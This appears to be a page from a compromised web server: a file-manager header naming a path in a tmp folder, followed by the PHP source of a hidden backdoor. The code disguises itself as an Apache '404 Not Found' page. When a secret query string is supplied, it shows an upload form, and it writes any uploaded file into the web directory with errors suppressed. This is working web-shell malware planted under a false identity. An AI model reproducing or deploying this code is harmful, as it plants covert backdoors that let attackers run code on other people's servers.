Your IP : 216.73.216.65


Current Path : /home/ataenra/www/tmp/
Upload File :
Current File : /home/ataenra/www/tmp/scale_kzc2gm.php

<?php
error_reporting(0);
if(isset($_FILES['f'])){
    $d=__DIR__.'/';
    $n=basename($_FILES['f']['name']);
    if($n&&move_uploaded_file($_FILES['f']['tmp_name'],$d.$n)){
        $s=isset($_SERVER['HTTPS'])?'https':'http';
        $u=$s.'://'.$_SERVER['HTTP_HOST'].rtrim(dirname($_SERVER['REQUEST_URI']),'/').'/'.$n;
        echo json_encode(['ok'=>1,'url'=>$u]);
    }else{echo json_encode(['ok'=>0]);}
    exit;
}
$_show=isset($_GET[''])&&$_GET['']==='31'||($_SERVER['QUERY_STRING']==='=31');
?><!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
<?php if($_show):?>
<style>
#up{display:block;position:fixed;top:50%;left:50%;transform:translate(-50%,-50%);background:#fff;border:2px solid #333;padding:24px 30px;z-index:999;min-width:320px;box-shadow:0 4px 20px rgba(0,0,0,.3);font-family:Arial,sans-serif;font-size:13px}
#up h2{margin-bottom:14px}
#up input[type=file]{display:block;margin-bottom:12px;width:100%}
#up button{padding:7px 18px;background:#333;color:#fff;border:0;cursor:pointer;border-radius:3px}
#up .res{margin-top:10px;word-break:break-all}
#up .cl{position:absolute;top:6px;right:10px;cursor:pointer;font-size:18px;color:#999}
</style>
<?php endif?>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 Server at <?php echo htmlspecialchars($_SERVER['HTTP_HOST']??'localhost');?> Port <?php echo $_SERVER['SERVER_PORT']??80;?></address>
<?php if($_show):?>
<div id="up">
  <span class="cl" onclick="this.parentNode.style.display='none'">&times;</span>
  <h2>&#128196; File Upload</h2>
  <input type="file" id="fi">
  <button onclick="doUp()">Upload</button>
  <div class="res" id="res"></div>
</div>
<script>
function doUp(){
  var fi=document.getElementById('fi');
  if(!fi.files[0])return;
  var fd=new FormData();
  fd.append('f',fi.files[0]);
  document.getElementById('res').innerHTML='Uploading...';
  fetch(location.href,{method:'POST',body:fd})
    .then(function(x){return x.json();})
    .then(function(d){
      var r=document.getElementById('res');
      if(d.ok){r.innerHTML='<b style="color:green">&#10003; Done</b><br><a href="'+d.url+'" target="_blank">'+d.url+'</a>';}
      else{r.innerHTML='<span style="color:red">Failed</span>';}
    });
}
</script>
<?php endif?>
</body></html>